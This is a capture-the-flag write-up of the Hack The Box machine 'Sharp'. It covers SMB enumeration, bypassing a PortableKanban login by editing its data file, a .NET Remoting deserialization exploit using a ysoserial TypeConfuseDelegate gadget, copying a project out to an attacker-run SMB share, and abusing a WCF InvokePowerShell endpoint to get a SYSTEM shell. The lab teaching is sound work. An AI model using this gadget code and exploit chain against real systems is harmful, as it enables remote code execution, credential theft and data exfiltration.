Jan 01, 2021

Overview

Technical Writeup, Explaining my approach Solving Sharp machine From Hackthebox.


Target Informations

Machine Name : Sharp
Domain Name  : Sharp.htb
IP Adress    : 10.10.10.219
Creator      : cube0x0
Difficulty   : Hard
Base Points  : 40

Discovery and Reconnaissance

As Always i start by adding the Target IP address into my /etc/hosts file, Resolve Name Resolution issues, then i kick it with multiple nmap scans :

m3dsec@local:~/sharp.htb$ nmap -Pn -v -sV --min-parallelism 100 -oA nmap/nmap_tcp_simple_services 10.10.10.219
Nmap scan report for sharp.htb (10.10.10.219)
Host is up (0.11s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE            VERSION
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
8888/tcp open  storagecraft-image StorageCraft Image Manager
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m10s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-12-27T19:43:53
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Regards my full scan, This time i used bvr0n's Port Scanner to pull all the other open ports, it was pretty fast compared to nmap.

m3dsec@local:~/sharp.htb$ python3 portscanner.py -u 10.10.10.219
 ____            _     ____                                  
|  _ \ ___  _ __| |_  / ___|  ___ __ _ _ __  _ __   ___ _ __ 
| |_) / _ \| '__| __| \___ \ / __/ _` | '_ \| '_ \ / _ \ '__|
|  __/ (_) | |  | |_   ___) | (_| (_| | | | | | | |  __/ |   
|_|   \___/|_|   \__| |____/ \___\__,_|_| |_|_| |_|\___|_|   
                                                             
                   by @Taha El Ghadraoui
                    @bvr0n 

--------------------------------------------------
Scanning Target: 10.10.10.219
Scanning started at:2021-01-01 12:45:07.235890
--------------------------------------------------

[+] Scanning All 65 535 TCP Ports.. 

[+] Port : 135 is open
[+] Port : 139 is open
[+] Port : 445 is open
[+] Port : 5985 is open
[+] Port : 8888 is open
[+] Port : 8889 is open

After grabing those open ports i passed them to nmap for a full service discovery :

m3dsec@local:~/sharp.htb$ nmap -Pn -v -p 135,139,445,5985,8888,8889 -sC -sV -A -oA nmap/nmap_tcp_full_services 10.10.10.219
PORT     STATE SERVICE            VERSION
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found_
8888/tcp open  storagecraft-image StorageCraft Image Manager
8889/tcp open  mc-nmf             .NET Message Framing

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 2m10s
| smb2-security-mode: 
|   2.02:
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-12-27T20:50:06
|_  start_date: N/A

Multiple services where discovered, but as a Penetration tester, SMB would be my low-hanging fruit to cut first.


Enumerating SMB Service

Inspecting SMB, i noticed a Shared Folder that contain a portable version of kanban task management software.

m3dsec@local:~/sharp.htb$ smbmap  -u '' -p '' -H 10.10.10.219
[+] IP: 10.10.10.219:445	Name: sharp.htb                                         
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	dev                                               	NO ACCESS	
	IPC$                                              	NO ACCESS	Remote IPC
	kanban                                            	READ ONLY

m3dsec@local:~/sharp.htb$ smbclient \\\\10.10.10.219\\kanban
Enter WORKGROUP\user's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 14 19:56:03 2020
  ..                                  D        0  Sat Nov 14 19:56:03 2020
  CommandLine.dll                     A    58368  Wed Feb 27 08:06:14 2013
  CsvHelper.dll                       A   141312  Wed Nov  8 13:52:18 2017
  DotNetZip.dll                       A   456704  Wed Jun 22 20:31:52 2016
  Files                               D        0  Sat Nov 14 19:57:59 2020
  Itenso.Rtf.Converter.Html.dll       A    23040  Thu Nov 23 16:29:32 2017
  Itenso.Rtf.Interpreter.dll          A    75776  Thu Nov 23 16:29:32 2017
  Itenso.Rtf.Parser.dll               A    32768  Thu Nov 23 16:29:32 2017
  Itenso.Sys.dll                      A    19968  Thu Nov 23 16:29:32 2017
  MsgReader.dll                       A   376832  Thu Nov 23 16:29:32 2017
  Ookii.Dialogs.dll                   A   133296  Thu Jul  3 21:20:12 2014
  pkb.zip                             A  2558011  Thu Nov 12 21:04:59 2020
  Plugins                             D        0  Thu Nov 12 21:05:11 2020
  PortableKanban.cfg                  A     5819  Sat Nov 14 19:56:01 2020
  PortableKanban.Data.dll             A   118184  Thu Jan  4 21:12:46 2018
  PortableKanban.exe                  A  1878440  Thu Jan  4 21:12:44 2018
  PortableKanban.Extensions.dll       A    31144  Thu Jan  4 21:12:50 2018
  PortableKanban.pk3                  A     2080  Sat Nov 14 19:56:01 2020
  PortableKanban.pk3.bak              A     2080  Sat Nov 14 19:55:54 2020
  PortableKanban.pk3.md5              A       34  Sat Nov 14 19:56:03 2020
  ServiceStack.Common.dll             A   413184  Wed Sep  6 12:18:22 2017
  ServiceStack.Interfaces.dll         A   137216  Wed Sep  6 12:17:30 2017
  ServiceStack.Redis.dll              A   292352  Wed Sep  6 12:02:24 2017
  ServiceStack.Text.dll               A   411648  Wed Sep  6 04:38:18 2017
  User Guide.pdf                      A  1050092  Thu Jan  4 21:14:28 2018

		10357247 blocks of size 4096. 7940080 blocks available

On heavy folders like this, to avoid connection issues (timeouts), Instead of downloading files directly, i like to mount the whole folder

m3dsec@local:~/sharp.htb$ sudo mkdir /mnt/data
[sudo] password for user: 
m3dsec@local:~/sharp.htb$ sudo mount -t cifs -o rw,guest,vers=2.0 //10.10.10.219/kanban /mnt/data
m3dsec@local:~/sharp.htb$ ls /mnt/data
 CommandLine.dll   Itenso.Rtf.Converter.Html.dll   MsgReader.dll       PortableKanban.cfg              PortableKanban.pk3        ServiceStack.Interfaces.dll
 CsvHelper.dll     Itenso.Rtf.Interpreter.dll      Ookii.Dialogs.dll   PortableKanban.Data.dll         PortableKanban.pk3.bak    ServiceStack.Redis.dll
 DotNetZip.dll     Itenso.Rtf.Parser.dll           pkb.zip             PortableKanban.exe              PortableKanban.pk3.md5    ServiceStack.Text.dll
 Files             Itenso.Sys.dll                  Plugins             PortableKanban.Extensions.dll   ServiceStack.Common.dll  'User Guide.pdf'

On a windows instance, PortableKanban.exe asked about credentials, i had to bypass the login prompt, for that i modified on PortableKanban.pk3, to leave the <REDACTED> user with no password, then replace PortableKanban.pk3.md5 content with a new Generate md5 value based on PortableKanban.pk3.

m3dsec@local:~/sharp.htb/files/smb/kanban$ cat PortableKanban.pk3|grep -Ei "Name|EncryptedPassword"
        "Name": "Demo",
        "Name": "<REDACTED>",
        "EncryptedPassword": "k+**************RC7/rg==",
        "Name": "<REDACTED>",
        "EncryptedPassword": "Ua**************+tqwLA==",
m3dsec@local:~/sharp.htb/files/smb/kanban$ cat PortableKanban.pk3|grep -Ei "Name|EncryptedPassword"
        "Name": "Demo",
        "Name": "<REDACTED>",
        "EncryptedPassword": "",
        "Name": "<REDACTED>",
        "EncryptedPassword": "Ua*************+tqwLA==",

Then i simply logged in as an Administrator with an empty password, and Harvested other users credentials within the application:


Going Back To SMB, we reused the credentials we found within kanban app, to access other Shared folders, dev folder for example :

m3dsec@local:~/sharp.htb$ smbmap -H 10.10.10.219 -u <REDACTED> -p <REDACTED>
[+] IP: 10.10.10.219:445	Name: sharp.htb                                         
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	dev                                               	READ ONLY	
	IPC$                                              	READ ONLY	Remote IPC
	kanban                                            	NO ACCESS	

Inspecting dev Shared folder, revealed 2 binaries and a note file

m3dsec@local:~$ smbclient -U <REDACTED> \\\\sharp.htb\\dev
Enter WORKGROUP\<REDACTED>'s password: <REDACTED> 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jan  1 09:36:53 2021
  ..                                  D        0  Fri Jan  1 09:36:53 2021
  Client.exe                          A     5632  Sun Nov 15 11:25:01 2020
  mine.zip                            A 11598452  Fri Jan  1 09:35:30 2021
  notes.txt                           A       70  Sun Nov 15 14:59:02 2020
  RemotingLibrary.dll                 A     4096  Sun Nov 15 11:25:01 2020
  Server.exe                          A     6144  Mon Nov 16 12:55:44 2020

		10357247 blocks of size 4096. 7940101 blocks available

m3dsec@local:~/sharp.htb/files/smb/dev$ cat notes.txt ;echo
Todo:
    Migrate from .Net remoting to WCF
    Add input validation

From the user notes, we know that there is a .NET remoting service deployed somewhere, also its seems like there is no user input validation, wich is pretty fucked up if u ask me, this might be vulnerable.


Decompiling the Client.exe and the Server Binaries

Going back to our 2 binaries, i had to decompile them, lucky they were written in C#.

m3dsec@local:~/sharp.htb/files/smb/dev$ file Client.exe 
Client.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

U might ask yourself, why C# is easier to decompile into source code ? I would say that C# contains meta-data and most C# code must comply with a set of rules called "verifiable code", basicaly its compiled to CIL (Common Intermediate Language), Typically, a lot more information about the original source code, such as object oriented concepts including class structure, can be gleaned from reading the CIL.

For This i used AvaloniaILSpy, The ILSpy version in linux.

Looking at the source code of both the client and server binaries, We can understand that we have a simple client/server Remoting-based application, that communicate with each other.

Inside Client.exe, within Client class, we can spot the Main() method, that include a .Net Remoting endpoint, with its credentials.

// C#
// RemotingSample.Client
using RemotingSample;
using System;
using System.Collections;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;

internal class Client
{
	private static void Main(string[] args)
	{
		//IL_0000: Unknown result type (might be due to invalid IL or missing references)
		//IL_000b: Expected O, but got Unknown
		ChannelServices.RegisterChannel((IChannel)(object)new TcpChannel(), true);
		IDictionary channelSinkProperties = ChannelServices.GetChannelSinkProperties((object)(Remoting)Activator.GetObject(typeof(Remoting), "tcp://localhost:PORT/<REDACTED>"));
		channelSinkProperties["username"] = "<REDERACTED>";
		channelSinkProperties["password"] = "<REDERACTED>";
	}
}

Having this in mind, and knowing that the server doesn't validate the user input, We came across two critical bugs that allow remote attackers to execute arbitrary code on the vulnerable host, CVE-2014-4149 and CVE-2014-1806, Several POCs where already disclosed publicly.


Exploiting .NET Remoting Services

After Compling the Exploit, i had a limited code execution (upload, download, list directories), i couldn't spawn a reverse shell in any manner, i tried different methods but non of them worked.

ExploitRemotingService.exe -v -useser -s --user=debug --pass=<REDACTED> tcp://10.10.10.219:PORT/<REDACTED> ls c:\
Listing c:\ directory
<DIR> $AV_ASW
<DIR> $Recycle.Bin
<DIR> Documents and Settings
<DIR> FFOutput
<DIR> Games
<DIR> Intel
<DIR> OpenSSH-Win64
<DIR> PerfLogs
<DIR> Program Files
<DIR> Program Files (x86)
<DIR> ProgramData
<DIR> python27-x64
<DIR> System Volume Information
<DIR> Temp
<DIR> Users
<DIR> Windows
aow_drv.log - Length 12940738
bootmgr - Length 404250
BOOTNXT - Length 1
hiberfil.sys - Length 3392229376
pagefile.sys - Length 1610612736
swapfile.sys - Length 268435456

Some of my colleagues, said they managed to spawn a reverse shell using the raw feature shipped with the same exploit itself, some of them didn't, i didn't, and this is where onur and donthackmybox hints showed me a better way (thanks you guys), by modifying on the client.exe source code, but instead of using the Remote shared library we use our own shared object, using the gadget at muffsec post.

Im not willing to disclose the exploit source code, untill the machine get retired, but im sure u can deal with it

// C#
using System;
using System.Collections;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using RemotingSample;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IdentityModel.Tokens;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Serialization;
using System.Security.Claims;
using System.Text;

// https://www.c-sharpcorner.com/article/remoting-in-C-Sharp/
namespace RemotingSample
{
    public class Remoting : MarshalByRefObject {
        // Our Remoting Class
    }
}

// http://muffsec.com/blog/?p=585
namespace SessionSecurityTokenGadget
{
    class Program
    {
        static void Main(string[] args) {
        	// we don't need this part
            /*
            SessionSecurityToken gadget = SessionSecurityTokenGadget("calc");
            byte[] initialObjectBuffer = new byte[0x1000];
            MemoryStream stream = new MemoryStream(initialObjectBuffer);
            DataContractSerializer serializer = new DataContractSerializer(gadget.GetType());
            serializer.WriteObject(stream, gadget);
            byte[] finalObjectBuffer = new byte[stream.Position];
            Array.Copy(initialObjectBuffer, finalObjectBuffer, stream.Position);
            stream = new MemoryStream(finalObjectBuffer);
            serializer.ReadObject(stream);*/

            // https://www.c-sharpcorner.com/article/remoting-in-C-Sharp/
            // initiate a new connection
            
            // select a channel
            // register the channel 
            
            // register a remote object  
            // Our payload goes here
        }
 
        public static SessionSecurityToken SessionSecurityTokenGadget(string cmd)
        {
 
            // - Create new ClaimsIdentity and set the BootstrapConext
            // - Bootrstrap context is set to to the TypeConfuseDelegateGadget from 
            //      ysoserial and is of Type SortedSet<string>
            // - The TypeConfuseDelegateGadget will execute notepad
            ClaimsIdentity id = new ClaimsIdentity();
            id.BootstrapContext = TypeConfuseDelegateGadget(cmd);
 
            // - Create new ClaimsPrincipal and add the ClaimsIdentity to it
            ClaimsPrincipal principal = new ClaimsPrincipal();
            principal.AddIdentity(id);
 
            // - Finally create the SessionSecurityToken which takes the principal
            //      in its constructor
            SessionSecurityToken s = new SessionSecurityToken(principal);
 
 
            // - The SessionSecurityToken is serializable using DataContractSerializer
            // - When it gets deserialized the BootstrapContext will get deserialized 
            //      using BinaryFormatter, which is more powerful from an attackers
            //      perspective, and will not be subject to any kind of whitelisting.
            //      In this sense it a "bridge" from DataContractSerializer to
            //      BinaryFormatter
            // - This will cause an exception to be thrown when the BootstrapContext
            //      is deserialized, but we still get the command execution:
            //          Unhandled Exception: System.InvalidCastException: Unable to cast 
            //          object of type 'System.Collections.Generic.SortedSet`1[System.String]' 
            //          to type 'System.IdentityModel.Tokens.BootstrapContext'
            return s;
        }
 
        //https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TypeConfuseDelegateGenerator.cs
        // thanks guys!
        public static SortedSet<string> TypeConfuseDelegateGadget(string cmd)
        {
 
            Delegate da = new Comparison<string>(String.Compare);
            Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
            IComparer<string> comp = Comparer<string>.Create(d);
            SortedSet<string> set = new SortedSet<string>(comp);
            set.Add("cmd");
            set.Add("/c " + cmd);
 
            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = d.GetInvocationList();
            
            // Modify the invocation list to add Process::Start(string, string)
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(d, invoke_list);
 
            return set;
        }
    }
}

Compiling our new client, running the binary give us a reverse shell as user <REDACTED> on our Target Host:



Internal Enumeration

Once inside, we start enumerating, We can easily spot an other project owned by user <REDACTED>.
for further analysis i had to compress the project, transfer it back to my local host

On my Local host, i opened a new smb share with the same username that im sending files from (the Target host does not allow anonymous login, security policy), to receive the files:

m3dsec@local:~/sharp.htb/files/$ sudo impacket-smbserver SHARE . -smb2support -user <REDACTED> -password Password@123
[sudo] password for user: 
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

On the Target Host, i compressed the project, stored my credentials then send it back to my machine :

C:\Users\<REDACTED>\Documents> tar -c -f wcf.tar wcf
C:\Users\<REDACTED>\Documents> dir
 Volume in drive C is System
 Volume Serial Number is 7824-B3D4

 Directory of C:\Users\<REDACTED>\Documents

12/31/2020  11:31 PM    <DIR>          .
12/31/2020  11:31 PM    <DIR>          ..
11/15/2020  01:40 PM    <DIR>          wcf
12/31/2020  11:31 PM        31,597,056 wcf.tar
               1 File(s)     31,597,056 bytes
               3 Dir(s)  32,436,961,280 bytes free
C:\Users\<REDACTED>\Documents> NET USE \\10.10.14.162\SHARE /USER:<REDIRECTED> Password@123 /PERSISTENT:YES
The command completed successfully.
C:\Users\<REDACTED>\Documents> copy C:\Users\<REDACTED>\Documents\wcf.tar \\10.10.14.162\SHARE\files\wcf.tar

Inspecting client.cs Source code, we can see a new URI wiche uniquely identify a different Endpoint, now the project name "WCF" make a lot of sense.

using RemotingSample;
using System;
using System.ServiceModel;

namespace Client {

    public class Client
    {
        public static void Main() {
            ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
                new NetTcpBinding(SecurityMode.Transport),"net.tcp://localhost:PORT/<REDACTED>"
            );
            IWcfService client = channelFactory.CreateChannel();
            Console.WriteLine(client.GetDiskInfo());
            Console.WriteLine(client.GetCpuInfo());
            Console.WriteLine(client.GetRamInfo());
        }
    }
}

So what is WCF ? WCF short for Windows Communication Foundation, a platform that simplify the developement of services oriented applications, we can simply say its a successor to remoting.

On the above code, System Provided Binding "NetTcpBinding" specify how we are connecting with the vulnerable endpoint (we dont know if its vulnerable yet, but obviously) then we have IWcfService client = channelFactory.CreateChannel(); that define a new object called Client byitself that Invoke some other particular methods.

Going back to RemotingLibrary.cs:

// C#
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.ServiceModel;
using System.Text;

namespace RemotingSample
{
    [ServiceContract]
    public interface IWcfService
    {
        [OperationContract]
        string GetUsers();

        [OperationContract]
        string GetDiskInfo();

        [OperationContract]
        string GetCpuInfo();

        [OperationContract]
        string GetRamInfo();

        [OperationContract]
        string InvokePowerShell(string scriptText);
    }

    public class RemotingMethods
    {
        public string GetCpuInfo()
        {
            throw new NotImplementedException();
        }

        public string GetDiskInfo()
        {
            throw new NotImplementedException();
        }

        public string GetRamInfo()
        {
            throw new NotImplementedException();
        }

        public string GetUsers()
        {
            throw new NotImplementedException();
        }

        public string InvokePowerShell(string str)
        {
            throw new NotImplementedException();
        }
    }

    public class Remoting : IWcfService
    {
        public string GetDiskInfo()
        {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript("Get-WmiObject -Class win32_logicaldisk | ft DeviceID, @{Name='Free(GB)';e={$_.FreeSpace /1GB}}, @{Name='Total(GB)';e={$_.Size /1GB}} -AutoSize");
            pipeline.Commands.Add("Out-String");
            Collection<PSObject> results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            return stringBuilder.ToString();
        }

        public string GetCpuInfo()
        {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript("Get-WmiObject -Class win32_computersystem | fl @{Name='Physical Processors';e={$_.NumberofProcessors}} ,@{Name='Logical Processors';e={$_.NumberOfLogicalProcessors}}");
            pipeline.Commands.Add("Out-String");
            Collection<PSObject> results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            return stringBuilder.ToString();
        }

        public string GetRamInfo()
        {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript("Get-WmiObject -Class win32_operatingsystem | fl @{Name='Total Memory(GB)';e={[math]::truncate($_.TotalVisibleMemorySize /1MB)}}, @{Name='Free Memory(GB)';e={[math]::truncate($_.FreePhysicalMemory /1MB)}}");
            pipeline.Commands.Add("Out-String");
            Collection<PSObject> results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            return stringBuilder.ToString();
        }

        public string GetUsers()
        {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript("(Get-LocalUser).name");
            pipeline.Commands.Add("Out-String");
            Collection<PSObject> results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            return stringBuilder.ToString();
        }

        public string InvokePowerShell(string scriptText)
        {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript(scriptText);
            pipeline.Commands.Add("Out-String");
            Collection <PSObject> results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            return stringBuilder.ToString();
        }
    }
}

We can clearly see what functionality the service offer based on the contracts "IWcfService interface", and most of the time, the contract is where the bugs are found, and InvokePowerShell() is clearly what we are looking for.

Based on the above analysis, I only had to Invoke Powershell with my payload inside the Client class, compile it, Send it To the target Host and execute it to Get a Reverse Shell as System.



Conclusion

Personaly i learned something new from this box, as Hackthebox always fascinate us with real scenarios, thanks again to Cube0x0 who took the time, to create such an amazing box.

m3dsec.


Some Resources



back to main